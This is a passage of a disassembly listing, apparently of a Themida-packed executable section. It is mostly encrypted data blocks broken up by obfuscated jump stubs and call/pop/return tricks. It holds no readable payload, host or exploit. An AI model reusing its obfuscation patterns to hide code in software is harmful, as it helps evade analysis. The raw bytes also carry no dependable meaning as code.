		dd 0F1885275h, 8D51B54Ch, 0B1FBE92Ch, 978411A0h, 9E16FBF9h
		dd 3, 21E4C2C0h, 0B19E837Dh, 433015D3h,	0D6C3A846h, 6B583DB3h
		dd 0FFECD12Fh, 93806583h, 2411F6F4h, 0BBA88D63h, 6F3E23D9h
		dd 815F5457h, 4C7h, 4EF8300h, 5C243C87h, 8904EC83h, 0B0682434h
		dd 8900005Bh, 68522404h, 364B6963h, 9AEA815Ah, 817BB575h
		dd 0BEA95CEAh, 48152B2h, 0A55A4E24h, 0EE815E01h, 1A55A4Eh
		dd 8D1685Ah, 24890000h,	24048124h, 4, 0BD555658h, 2395566Bh
		dd 4246C01h, 8408F5Dh, 6B086881h, 8B239556h, 89522404h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 24348B5Ch, 5E08950h
		dd 4, 8704C083h, 0E95C2404h, 0FFFA1FCCh, 0ECBB9ADCh
		db 98h,	4Bh, 0FFh
; ---------------------------------------------------------------------------


loc_5EC4FB:				; CODE XREF: Themida_:005EAFFCj
		mov	eax, 7D75E22h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 14F7A167h, 0B9AFDF3h, 53426F5Dh, 2F8D97A7h, 3A20B779h
		dd 13240206h, 762ECC47h, 7C40D17Fh, 141FE6B0h, 1CC0064Fh
		dd 1048B274h, 6C348B9Eh, 7DE9h,	0C7224000h, 0F5CC4772h
		dd 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch, 0A9E57200h
		dd 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh
		dd 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh,	0F496B99Dh
		dd 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h
		dd 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh,	0BBEFB69Fh
		dd 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh, 5FE90E09h
		dd 68000010h, 7D761ADh,	0FA1EFBE9h, 62C268FFh, 0F1E907D7h
		dd 68FFFA1Eh, 7D7639Dh,	0FA1EE7E9h, 652468FFh, 0DDE907D7h
		dd 68FFFA1Eh, 7D76584h,	0FA1ED3E9h, 661F68FFh, 0C9E907D7h
		dd 68FFFA1Eh, 7D766BDh,	0FA1EBFE9h, 678268FFh, 0B5E907D7h
		dd 68FFFA1Eh, 7D76864h,	0FA1EABE9h, 691E68FFh, 0A1E907D7h
		dd 68FFFA1Eh, 7D769CEh,	0FA1E97E9h, 6B4068FFh, 8DE907D7h
		dd 68FFFA1Eh, 7D76D57h,	0FA1E83E9h, 6E4168FFh, 79E907D7h
		dd 18FFFA1Eh, 0ED7A66h,	0EEDB6884h, 0DDCA57A9h,	0C6B340BEh
		dd 0E49F2CC4h, 5997F3B9h, 46A4DFCCh, 31CFCCB9h,	1BD9B7A4h
		dd 4300EC8Eh, 1A00152Ah, 21D4B29Ah, 96542F63h, 9E831AB1h
		dd 0C4BFD3B1h, 13AA4126h, 9D5B3A27h, 563421B8h,	927E0B9Ah
		dd 260BE5A5h, 0B4F07D3Ah, 3DD41228h, 198917A6h,	0BC200CF8h
		dd 8DD3DDE3h, 6623B2CCh, 19FA3108h, 33B1CFBCh, 3B20B74Eh
		dd 0FA30EB7Eh, 0D241EC19h, 9EADDED1h, 64FF41h, 27130000h
		dd 0FA29036Ah, 9B2AC119h, 793622BDh, 1228B4F4h,	904D39D0h
		dd 1228B4DDh, 33C150E7h, 0F111D547h, 6AF03975h,	97FBE7D3h
		dd 0AB796F91h, 0A7E3D0EAh, 3ECD6449h, 0F9E53181h, 17FC9319h
		dd 0F9E50F5Ah, 0D02E6D19h, 629EFEEBh, 0FA29D47Dh, 0C89C8ECCh
		dd 9128FB73h, 0E4A554FFh, 419E46CBh, 10412h, 63213400h
		dd 97552Fh, 34682714h, 71009755h, 0AFE39F8Ch, 993015D3h
		dd 6E291602h, 301C0190h, 94514443h, 1228B4D9h, 2EBD54EBh
		dd 0C0A54341h, 0AA37B5D3h, 28B967EDh, 0C62A1612h, 8912BD34h
		dd 0F8753219h, 0CC122968h, 0DBB9A635h, 7A262050h, 53EA31B1h
		dd 70BBD9C6h, 0A3AAED10h, 0F8B786Fh, 0DE750CF1h, 0DA3F6BF9h
		dd 284502EEh, 9C12293Ah, 0CD8A7605h, 19FA4D71h,	86641F0Ch
		dd 4D90DD9Ah, 9D3419FAh, 5405690Eh, 4CAAE708h, 9F8EF8E8h
		dd 0BDED7B08h, 66B3705Ch, 1721CDBAh, 0BAFF6E2Bh, 2EC521CDh
		dd 7763FA9Fh, 63F0088Ah, 28DC1476h, 0FEB902B9h,	86CA4227h
		dd 7400000Dh, 5C49D60Ah, 4A37C438h, 3926B34Dh, 220F9C5Ah
		dd 40FB8860h, 0BD3B575Dh, 0AA404330h, 9553301Dh, 7F7D1B08h
		dd 0A76450F2h, 1A0015C6h, 213816FEh, 0DFA8761h,	2185718Fh
		dd 0CFB41DD8h, 0CBA25F12h, 0F912291Eh, 0AF3CCB62h, 0EF1280D1h
		dd 0DD6C4603h, 0C15819F9h, 4FADE8D5h, 5F44D36Ah, 0F9DDC7A2h
		dd 1AD4B519h, 0AF4D4835h, 4C21DECAh, 7819F9DEh,	3EED98E1h
		dd 0F120CB5Dh, 9E5EFFB0h, 0EBDE41h, 22000000h, 0B3985635h
		dd 0E0A08D1Ch, 50321F04h, 5EF6B398h, 1E1228B9h,	916F2C7Eh
		dd 0B985E8A5h, 0A83F1228h, 0F9978411h, 3D2A16FBh, 27BEA35Dh
		dd 79980A98h, 0CD6ED08Dh, 220F19F9h, 99573367h,	7E701502h
		dd 3E5D4AEFh, 0EED32D6Ah, 3D29C057h, 27B63250h,	259E0C9Ah
		dd 9F58C62h, 0F2817F1Ch, 0ACBF4906h, 6E0521CDh,	0FCF29582h
		dd 0D0B7B317h, 0E4903F8Fh, 0E5D2BE4Dh, 5E90F5A5h, 95F5E279h
		dd 48DF765Bh, 34CCCEBBh, 0B8F0E780h, 5CD4B9FEh,	0C71h
		dd 34C13F5Fh, 22AF4D47h, 119E5035h, 0FA876524h,	0E6738D0Dh
		dd 583A722Bh, 632613A0h, 7613008Dh, 9EFEEB78h, 4733D562h
		dd 16E38Ah, 1BF9E11Ah, 54A4BE22h, 28488392h, 59EE7F3Ch
		dd 3FD61229h, 0D3C7C3B0h, 0BF563BB1h, 0C3AF9B28h, 29596706h
		dd 37C65D12h, 21AE4A4Ah, 85632143h, 4AD5B3A0h, 0A923632Bh
		dd 78A3A9D0h, 9B361478h, 0CCB946DDh, 46A4DFCBh,	4E33CA61h
		dd 0A819FE62h, 0B698CDBDh, 9E5A3A27h, 60DA3411h, 26E3CF32h
		dd 19FA56F8h, 46A4DFCCh, 0DD8D4AAFh, 0FE118487h, 0C4816D8Ch
		dd 1955B3A6h, 0B6A2871Eh, 2F2C5752h, 0A534A44Fh, 9A866B17h
		dd 29A876DDh, 0CBB74E21h, 4EAD7BDFh, 74F12F05h,	698F8E5h
		dd 45D26987h, 8BC3858h,	0FE1C0B75h, 96CE462Bh, 8400000Bh
		dd 6C59E61Ah, 5A47D428h, 4936C33Dh, 321FAC4Ah, 500B9850h
		dd 0CD2B674Dh, 0BA305340h, 0A543402Dh, 8F6D2B18h, 0B7746002h
		dd 1A0017B6h, 2148260Eh, 12A08563h, 0A9958160h,	28B481ECh
		dd 1DAC4312h, 0E02E7431h, 0FF9619F9h, 17228672h, 0C92766D8h
		dd 0E5EDBC65h, 37DAC856h, 15725F4Bh, 0D05FF6DBh, 0CAF40713h
		dd 4126BD21h, 0CAF3E584h, 0D847F221h, 33DCFE62h, 0B936C2FAh
		dd 3FCB32Ah, 65E14970h,	3000000h, 98563522h, 0FF8D1CB3h
		dd 6E2C1993h, 0B498D592h, 952C1228h, 270CE8A8h,	500DF990h
		dd 19FA0223h, 75F8B5A1h, 4F19FA01h, 483521B8h, 6320AD4Bh
		dd 19FA0208h, 0A1CC8975h, 2319FA01h, 7010FD8Ch,	99FAE774h
		dd 0C6027A5Fh, 1600000Ah, 0F938DDB2h, 0A677965Fh, 0DE0E0E39h
		dd 5512FE95h, 19FAAA18h, 0A88615ACh, 5A221280h,	93A3482h
		dd 0A96652E9h, 1A005430h, 2411FD94h, 0FFB8864h,	9555BDABh
		dd 5F1C98C0h, 1A00640Eh, 0F9881FB6h, 84708C0Ch,	0E5A5F997h
		dd 0A28F740Bh, 0E37209E7h, 0DF0270FEh, 0C33236F3h, 0FB9221D7h
		dd 8563220Fh, 16FBF998h, 1804F07Fh, 45A96DB4h, 34C31ADEh
		dd 99564947h, 21D866D4h, 264704F0h, 9E21D867h, 4CD97007h
		dd 0DEC3215Fh, 2B692250h, 5D4A36CDh, 4B37C638h,	0A990708Eh
		dd 64210D29h, 29A99109h, 0F09524BBh, 83688603h,	10A155ECh
		dd 0CCE69CD8h, 0A0F6FE7h, 81FD0000h, 0A3E5D25Fh, 0B2D3C04Dh
		dd 0C3C2AF3Ch, 0EFAB9825h, 0D4C98411h, 0B946A2E0h, 0A633C9CCh
		dd 911ED8B9h, 7B08E4A4h, 3D30EDD9h, 871A001Ah, 1851C19Fh
		dd 0C31228B5h, 894632D7h, 1A0013E7h, 6D5A46DDh,	5744D12Fh
		dd 48D6BB39h, 0ECBB75Ah, 21D13E94h, 0AEE59930h,	36FEB48Eh
		dd 9AFD951h, 0E19D0000h, 38572FFh, 127360EDh, 23624FDCh
		dd 4F4B38C5h, 346924B1h, 59E60280h, 46D3296Ch, 31BE3859h
		dd 1BA84444h, 9DD08D79h, 271A0019h, 6321613Fh, 49AD9985h
		dd 77715865h, 0E5F1C78h, 0B6122952h, 0BEAB901Fh, 993D22DEh
		dd 317E3FEEh, 0AC39CDCFh, 4C2h,	37B5D3C0h, 1280CAA8h, 2A1703EFh
		dd 0A25C3969h, 0BDBF7C0Bh, 0C01A0013h, 573CB2D3h, 0F58C31C0h
		dd 807C1C09h, 6A8606F3h, 13A1C885h, 483A1A00h, 0A200BDA9h
		dd 2221D13Eh, 8EA6D78Bh, 452AFEB4h, 914CDh, 649C0200h
		dd 52AEEAD7h, 41BFD8C5h, 2AC8C7B4h, 16D2B09Dh, 0DDCFCE89h
		dd 0C9B643BDh, 0B6A330CEh, 0A18E1BD5h, 0D67805E3h, 1B402DEAh
		dd 9C841A00h, 856321BEh, 17D5B3A0h, 34E38E32h, 777111FEh
		dd 323E71E8h, 339F39CDh, 0C1000004h, 28B51851h,	32D7C312h
		dd 2D6D5A46h, 0C857EED3h, 13A70Bh, 0D972D61Ah, 9750F546h
		dd 0B84FADEBh, 0FC978429h, 8E7B67FEh, 7865F20Eh, 0EB058618h
		dd 0F3D86F06h, 0C27F3565h, 1A0071ABh, 0FFEB8219h, 0D19D6042h
		dd 19CD6421h, 0FEB4ED6Eh, 76199176h, 64000008h,	4C39C63Ah
		dd 3A27B448h
		dd 2916A35Dh, 12FF8C6Ah, 30EB7870h, 0AD4B476Dh,	9A503320h
		dd 8563200Dh, 6F8D0BF8h, 975440E2h, 1A001AD6h, 212806EEh
		dd 0B4A08563h, 4430CEC7h, 28B4E687h, 0B847DE12h, 4A2FCDCBh
		dd 160CFBA6h, 7D3A6929h, 1228B4F0h, 17A63DD4h, 0CD320FA0h
		dd 380CE39h, 51F00000h,	1228B51Eh, 402CCDBDh, 2AB93753h
		dd 143A813Eh, 0DF431A00h, 0D5ACD8D4h, 56FB8A19h, 2AE7D3BFh
		dd 1A00AC43h, 0F9F79481h, 57E67D14h, 0E21E7E6Bh, 187C6955h
		dd 0D968FFE4h, 6B50ACECh, 2E7FADDDh, 0B0CEA67Eh, 5512FE95h
		dd 21D19D55h, 9C6B0B6Fh, 0C3939E6Bh, 0A73EB2D6h, 0B46DBEF3h
		dd 8D05EAFEh, 7B1h, 7401FF9Fh, 62EF0D87h, 51DE1075h, 3AC72564h
		dd 26B34D4Dh, 187A326Bh, 236653E0h, 365340CDh, 5E3E2BB8h
		dd 877315A2h, 1BA3CAh, 5B39211Ah, 9E503522h, 0A69322B9h
		dd 311E0AE6h, 260B9A54h, 0B19D5B39h, 8065544Dh,	0A231876Ah
		dd 0DFB0D0BDh, 29434B22h, 4BE27912h, 0E11F7966h, 56C570FCh
		dd 0FFEA935h, 65267818h, 42F47936h, 39D01229h, 77E0BA2h
		dd 39CDC3A8h, 735h, 97965700h, 0B8000002h, 28B51E51h, 11725F12h
		dd 50E70181h, 0A24733C1h, 13C9F9B6h, 64FB1A00h,	0EF0D8B78h
		dd 8897662h, 0E37209EEh, 755A96F6h, 82F92589h, 55FA2CDDh
		dd 0A74A38C6h, 26E3CFBBh, 19FFC547h, 9A57E67Dh,	21D0D910h
		dd 61CCC7B4h, 939CAD20h, 0D4B95033h, 0B3F2A63Dh, 0F1FEB4D6h
		dd 6CF940Ch, 0C1BD0000h, 0E3A5921Fh, 0F293800Dh, 3826FFCh
		dd 2F6B58E5h, 148944D1h, 7906E2A0h, 66F3098Ch, 51DE1879h
		dd 3BC82464h, 7DF0AD99h, 471A001Ch, 3522815Fh, 22B99E50h
		dd 3DE6A693h, 62FA5CDAh, 2CC2C34Eh, 2512FE95h, 15FA8967h
		dd 0A78C6828h, 43422F1Bh, 3C29C0A5h, 6B16A55Bh,	0E90785BCh
		dd 0F9CAE55Ch, 71339CDh, 35000000h, 1C996h, 3522B800h
		dd 81F6CF52h, 0FB4728CEh, 5818D564h, 83122932h,	1906F217h
		dd 39A7F79h, 0FECB8874h, 0C61A0090h, 3656432Fh,	40402DBAh
		dd 0CACBB8A4h, 29B84F34h, 25C4B644h, 0A52E7C39h, 0FF9621D1h
		dd 0B4F47A4Bh, 51C9AEFEh, 615h,	0D8659B03h, 0C653A9EBh
		dd 0B542BCD9h, 9E2BC9C8h, 8A17D1B1h, 0A4E6CECFh, 0B7D2BF4Ch
		dd 0C2BFAC39h, 0EAAA9724h, 0F3DF810Eh, 1E3736h,	0C7A58D1Ah
		dd 0A0856321h, 3217D5B3h, 150CFBA6h, 75EC7977h,	39CD363Ah
		dd 5707268Ah, 0B8D1D3FFh, 135629h, 66A0000h, 0F898B2A5h
		dd 0CC0F98FCh, 964725B4h, 11Ah,	0B51F51B8h, 0CEBC1228h
		dd 4F823F2Bh, 2E1A0014h, 0C1A64041h, 5FF69B2Ah,	0EA068673h
		dd 0D410705Dh, 0D03161EFh, 323BF8E4h, 921A0014h, 77890EFBh
		dd 806CFB92h, 0FEDA794h, 27E7C380h, 46DD21D1h, 0B477BF92h
		dd 0C84025FEh, 565h, 28B52B53h,	16A3593Bh, 5926C29h, 0EE7B7918h
		dd 0DA678101h, 54367E1Fh, 67220F9Ch, 720FFC89h,	9AFAE774h
		dd 432FD15Eh, 1DE786h, 17F5DD1Ah, 0A0856321h, 2CCAC7B4h
		dd 3421B047h, 0C0AC9854h, 28B46A03h, 34C35A12h,	0E918C34Fh
		dd 9965232h, 0CD361D92h, 10C039h, 96E20000h, 6Eh, 8A6246AAh
		dd 93ADCC64h, 0BE222604h, 0B40F9B27h, 66840319h, 0EF53EA81h
		dd 961D4A85h, 0CFBC4B47h, 5B4733B1h, 2912CF9Eh,	725EF512h
		dd 2912B8B5h, 0E6750C12h, 6C291501h, 12291301h,	83402CC3h
		dd 122912EAh, 0C7B443DAh, 0DA462BC9h, 5E4AC02Fh, 0F2D71171h
		dd 12CF9E5Bh, 91F51229h, 0F0B8FFDCh, 8110A72Ch,	6BF8F494h
		dd 33F3h, 63211500h, 50B4A085h,	85C70DEFh, 0AC40444Ah
		dd 0A1C98615h, 0DB122956h, 715E43B9h, 4CF5DA14h, 0C21172A1h
		dd 5331E817h, 0B81C0895h, 5089E1A1h, 0DCBA4996h, 0A0856321h
		dd 95816012h, 1401D8h, 402CC31Ah, 2AB73553h, 0BCA15F3Dh
		dd 0B19D7C2Eh, 0AA19234Dh, 8BA90DEBh, 0D5C150EEh, 6498FCE9h
		dd 395018D5h, 0DD7421D7h, 688404F1h, 52AEEEDBh,	1C167A66h
		dd 54B5FA8Ch, 653C31EEh, 0F18821D7h, 83EF7D62h,	0C986725Eh
		dd 21D764A4h, 0EFA8920h, 0A88EAD51h, 6F2A1729h,	546FA91h
		dd 9FE663DEh, 3F342BAh,	0BDE10000h, 0CFC9B643h,	0DEB7A431h
		dd 0E7A69320h, 0F38F7C09h, 0F0AD68F5h, 9522DEBCh, 820FEDA8h
		dd 6DFAF495h, 57E40080h, 610CC9B5h, 631A001Fh, 63219D7Bh
		dd 8D0BF885h, 0F196836Fh, 797712FFh, 781805EAh,	600B977Ch
		dd 0DE1A7AB1h, 35D5DA51h, 3D0839CDh, 2A000000h,	3EF1280h
		dd 0B5135A17h, 0C4B11228h, 0AF462BC1h, 0E09D8918h, 19FA0193h
		dd 0C1AE9A31h, 0DC9926C0h, 19FA018Fh, 0C451AFEDh, 0A4E6BAD7h
		dd 39D0674Ch, 0C824604Dh, 62DC5439h, 0FE000003h, 3EF1280h
		dd 0F9E69846h, 0B0952C19h, 4227C5C3h, 46FC2BD6h, 44304AE2h
		dd 9E2DAF66h, 937F6210h, 0CB2C08D6h, 0A887521h,	64FBF998h
		dd 0B459E87Fh, 9002901Dh, 9D82781Bh, 3015D3B0h,	74150299h
		dd 67FE957Ah, 5D20BE7Bh, 0DA4299Ch, 0A15F3B28h,	0B96813BCh
		dd 3EFBB1E1h, 299C5D2Fh, 7B67FE95h, 0E29F0C8Eh,	299C5C8Bh
		dd 0A70BA239h, 0FB1A7D32h, 2511A08Fh, 6DAB7668h, 23614E31h
		dd 0B249E0C5h, 9C583825h, 2ECACAB7h, 0C8C8B5A1h, 630F9D2Ch
		dd 99D5927Eh, 2B393EDFh, 77F2AF94h, 60393EDFh, 6A4546B5h
		dd 7360E35Dh, 31h, 0EF128095h, 6D2A1703h, 0AE6A693h, 0DCF4BE7Bh
		dd 39D019F9h, 0DCD29754h, 5A0519F9h, 3C1175ABh,	7CFB18C5h
		dd 159A11A0h, 0C8419EC8h, 0F4h,	856321EAh, 0BC8B4A0h, 1228B462h
		dd 4F3CCB62h, 0E3D0B533h, 756247A5h, 604CD917h,	4AD91773h
		dd 28B9C78Dh, 0C4D7B512h, 28B96607h, 30C75E12h,	0CDCAB7A3h
		dd 28B74E33h, 0B39F5D3Bh, 9B2AC6C6h, 427A28B6h,	28B9E885h
		dd 95D89512h, 2F1228B9h, 0C55CF398h, 0DA5E1CD9h, 0CF6619F9h
		dd 2B695642h, 0C2B03ECDh, 5A47331Fh, 0D12F683Ah, 0D9BE55ECh
		dd 8AF6B342h, 3A21CDBCh, 0BCDC914Eh, 51E821CDh,	7EE2CEBAh
		dd 0F65AA87Ch, 0D29B5861h, 0F221CE67h, 0BBD7C45Bh, 0C1C1AE3Dh
		dd 0EDAD9A27h, 0B7785F13h, 8368FEB9h, 1DC0Bh, 2CD4CA00h
		dd 1AD6B29Fh, 9E7A08Dh,	0F2F08F7Ch, 0DE1A7865h,	0A5079651h
		dd 917E0BE5h, 7E6BF8F6h, 6956E31Dh, 9E40CD2Bh, 2178F5B2h
		dd 644C1A00h, 0BA612186h, 2E1DED31h, 2AE7D35Eh,	12292C43h
		dd 0C653EA81h, 0A8E7BBD9h, 4826B34Ah, 9A543522h, 0EC0D7D0Bh
		dd 0DD6F4300h, 0BE5519F9h, 0DE4D1CD9h, 0DF8A19F9h, 5F406F30h
		dd 0C49D419Eh, 0B1000000h, 39851D4Dh, 9E5B23CBh, 19FA85CFh
		dd 38C75EF5h, 0B863215Ah, 3AA018B6h, 90F4E101h,	49E0775Ch
		dd 0D612705Dh, 2A6D5AF1h, 0C958EFD4h, 5D9BF7E4h, 2C99BB78h
		dd 0A5E31229h, 0CFCDBA47h, 0CCBE4C31h, 0F684412Dh, 0CE19FA4Ch
		dd 6E1CAA37h, 4CF47936h, 39D019FAh, 0CFC9B6A2h,	0F9B6A231h
		dd 21CE2B28h, 2C19059Ch, 19059468h, 5926E2Ch, 0CA7E7A18h
		dd 0FEB972A5h, 0F2AA2207h, 0E0000000h, 0C8B542BEh, 0B6A330CCh
		dd 0A5921FD1h, 8E7B08E6h, 0AC67F40Ch, 21DFBBF1h, 0EECA794h
		dd 0F9F79481h, 0E3017F6Ch, 0BC8B456h, 1A002262h, 219C7A62h
		dd 6DBDBA61h, 3E6DEE99h, 2937EC81h, 0AA41D812h,	0FB998613h
		dd 219270FDh, 0FA733063h, 0CA1228B4h, 0CAB79C33h, 0B5A12ECAh
		dd 0A231CFC8h, 712E6614h, 1228B4FCh, 0FFE40080h, 952CC368h
		dd 1378ECA9h, 18051A00h, 0FF967B79h, 4F34CB70h,	2561FF63h
		dd 499B1059h
		dd 31CFCDBAh, 1BD9B7A4h, 80F17936h, 610C8F10h, 0F68F7CB2h
		dd 250AE6A2h, 7B68F78Eh, 8FF3DF1Dh, 0FAC6D1EEh,	0D69754CAh
		dd 0EE8F0FFEh, 0A431C057h, 8C4ED9B7h, 4A1CCAE6h, 9E8B7007h
		dd 2F1C01FFh, 4BAF9452h, 93220D32h, 4C4B38DEh, 923DC9AEh
		dd 0AE590263h, 2CC8C87Fh, 0C1D2B29Fh, 0FE96904h, 2DC45B8Fh
		dd 3D048h, 0C2F20000h, 837D21E4h, 15D3B19Eh, 0A8464330h
		dd 3DB3D6C3h, 0D12F6B58h, 6583FFECh, 0F6F49380h, 8D632411h
		dd 23D9BBA8h, 54576F3Eh, 4C7815Fh, 83000000h, 3C8704EFh
		dd 89525C24h, 4C281E2h,	83000000h, 148704EAh, 2C895C24h
		dd 4EC8124h, 89000000h,	0BE56243Ch, 7D76009h, 24348156h
		dd 5129619Ah, 9AF5815Dh, 5E512961h, 243C8B54h, 4C481h
		dd 57550000h, 0AD1B6ABFh, 247C0109h, 478F5F04h,	86F8108h
		dd 9AD1B6Ah, 5F2434FFh,	4C481h,	34FF0000h, 0C4835D24h
		dd 0EB2E904h, 3971FFFAh, 0F268B847h, 0FFD0A33Dh, 58B8A850h
		dd 307D76Fh, 0DBE0FFC5h, 8E2AA722h, 747BA364h, 4F6CA757h
		dd 0E819145Ah, 0F24E7D2Eh, 0BD2E2403h, 75504D72h, 2A621725h
		dd 0B529DB52h, 9A3955C2h, 3A5A7BA2h, 6E0676FDh,	5A5607C9h
		dd 0ED5D7699h, 0DF3D32EAh, 0A30E933Fh, 3A05E1D5h, 0FD347F78h
		dd 665AC95Ah, 0A6124576h, 6033D40Dh, 8F5B8E0Bh,	0E85BA5D6h
		dd 10h,	0FAD22B88h, 67FB1CBCh, 99FA312Fh, 182C75A7h, 0F3935FBBh
		dd 81605F5Dh, 44FC40EFh, 9853B879h, 8161626Ah, 59B3C7h
		dd 0AE900h, 0E9680000h,	55D29C04h, 18A68EBDh, 0F080C933h
		dd 3934FF0Bh, 5ADBBF0Fh, 538BEE81h, 0C2816D03h,	1AF884AFh
		dd 0D137EA81h, 0B86634E2h, 0F281C1A0h, 56FFDAA4h, 6652D98Bh
		dd 0F316C381h, 0BE0F048Fh, 43F24126h, 0E981D8B0h, 7D955ABBh
		dd 0B7C181F8h, 0F7D955Ah, 28Bh,	81E28A00h, 0FFA6FCF9h
		dd 14850FFFh, 0B8000000h, 43B02512h, 16E9h, 96E4B400h
		dd 0EB9BB32Ch, 0E9A4BAD2h, 0FFFFFF91h, 2C2414E3h, 8DC42719h
		dd 0D771A08Dh, 718D8907h, 8907D116h, 0D11B518Dh, 11800F07h
		dd 0E8000000h, 8, 195FC125h, 0CE2C63A0h, 5FF7BF0Fh, 810Fh
		dd 85C70000h, 7D12D55h,	6990h, 2D19958Bh, 85C707D1h, 7D11D39h
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5ED796
; ---------------------------------------------------------------------------
		db 0DEh, 0A0h, 7Eh
		dd 1D5E76Ah, 81357D35h,	1DF96DA7h
		db 4Ch,	34h
; ---------------------------------------------------------------------------


loc_5ED796:				; CODE XREF: Themida_:005ED780j
		push	dword ptr [ebp+7D12DC1h]
		push	0
		push	edx
		call	sub_5ED7A7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED7A7	proc near		; CODE XREF: Themida_:005ED79Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5ED7A7	endp

; ---------------------------------------------------------------------------
		db 38h
; ---------------------------------------------------------------------------
		jmp	short loc_5ED7D3
; ---------------------------------------------------------------------------
		dw 65E4h
		dd 3B65BA66h, 0C3B70F60h, 716BF681h, 0FF612521h, 0D1180195h
		db 7, 29h, 9Dh
; ---------------------------------------------------------------------------


loc_5ED7D3:				; CODE XREF: Themida_:005ED7B8j
		imul	esp, ds:6A07D1h, 5595FFh
		rol	dword ptr [edi], 1
		mov	eax, eax
		jmp	short loc_5ED861
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0C2B82DDh, 9560EC43h, 7575B66Bh, 0A033B972h,	4235C4FDh
		dd 37478EACh, 587D564Ch, 0FC42653Bh, 5A2E42EFh,	7396952Dh
		dd 0BE57558Ch, 55CF79CEh, 9C5B5588h, 34BB029Bh,	934D45C3h
		dd 0B0A0D01Eh, 23705426h, 0E7EF8767h, 1AD67280h, 0A7717A6Eh
		dd 8CE7AB9Dh, 0C18D2B89h, 0AA31FF77h, 9653CCF8h, 0C11FA1D1h
		dd 81D56711h, 0BBE7B047h, 9EBFC67Bh, 0EC6C017Ah, 448AE17Bh
		dd 4DDE831Eh
; ---------------------------------------------------------------------------
		push	ds


loc_5ED861:				; CODE XREF: Themida_:005ED7E1j
		jmp	loc_5ED9F0
; ---------------------------------------------------------------------------
		dw 7D4Eh
		dd 2C276376h, 98D31AD5h, 0D1D746B1h, 41EFB4CAh,	52E45B7Eh
		dd 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h, 0CB0093B9h
		dd 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h, 9755FC00h
		dd 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h, 0B5F600CCh
		dd 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch, 0ACE5h
		dd 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 3 dup(0)
; ---------------------------------------------------------------------------


loc_5ED9F0:				; CODE XREF: Themida_:loc_5ED861j
		jmp	loc_5EEA21
; ---------------------------------------------------------------------------
		push	7D775CCh
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D776A1h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D7785Dh
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D77939h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D77A6Fh
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D77B85h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D77C41h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D77CC1h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D77D9Ah
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D77E09h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D77E94h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D77F21h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D77FC3h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D780F6h
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		push	7D7821Ch
		jmp	loc_59BF2F
; ---------------------------------------------------------------------------
		db 0E1h
		dd 2B0B58D2h, 71519E84h, 0B696E33Dh, 0F9D926F6h, 6F226FB9h
		dd 4248E8Eh, 4CDAD7B7h,	908E1FFFh, 0D74D6343h, 1998248Ah
		dd 72244534h, 8267C898h, 48150DA2h, 208C4868h, 6BFB8BFCh
		dd 63E26EFAh, 75F3316Ah, 9D7D4ADAh, 0EFC41113h,	54D35FFAh
		dd 7222057Ah, 8EBF3ECAh, 3E722205h, 51A33B2h, 1AAA7222h
		dd 4E7FFE8Ah, 0FE722205h, 0E16DDE6Eh, 98B2A997h, 0FE3B964Eh
		dd 8559F70h, 2EAD39B3h,	72227C21h, 0C94815A5h, 72227C80h
		dd 0E859C3E9h, 9D7DA908h, 33E9C315h, 31A232C2h,	0C3175AB8h
		dd 3E6F4FDBh, 72B513E0h, 294F0A2Ah, 4C93B0h, 0BD070000h
		dd 825EBDABh, 2926A596h, 9D7222D8h, 4FB07D0Dh, 130BA282h
		dd 0B69716A2h, 1675F331h, 5429F686h, 5838C45Fh,	6FFBC854h
		dd 221992F0h, 31A23272h, 3AECC5A5h, 0ED6C39C9h,	722219E4h
		dd 1C64A705h, 0B02977FCh, 0D285h, 822E2400h, 615131A2h
		dd 59E93777h, 2CEF83CDh, 0D07FB986h, 6F95BA98h,	0C79424A0h
		dd 0EA3A7656h, 0D179979h, 0E8DA41C0h, 0A10F75F3h, 9517F783h
		dd 1907A787h, 911FFF4Ch, 0B6962293h, 875C29F9h,	8B6BF762h
		dd 1C00AC22h, 0BE8B1B8Ch, 0FB4BB332h, 6BFB7222h, 0E248921Eh
		dd 0CA5F9FF8h, 0CD3EEAC8h, 0BE0AD3Dh, 70EF7BE6h, 75F1B3EBh
		dd 5F3FCB5Bh, 0A888D553h, 9771E0Ah, 0A0D0611Ch,	0D58CB2Fh
		dd 51620000h, 3AC8CD9h,	0BCF2D21Fh, 75371764h, 387A5AA7h
		dd 0FF0A3F0h, 3885A30Fh, 80CD5958h, 0C4110DA0h,	0B58CCE4h
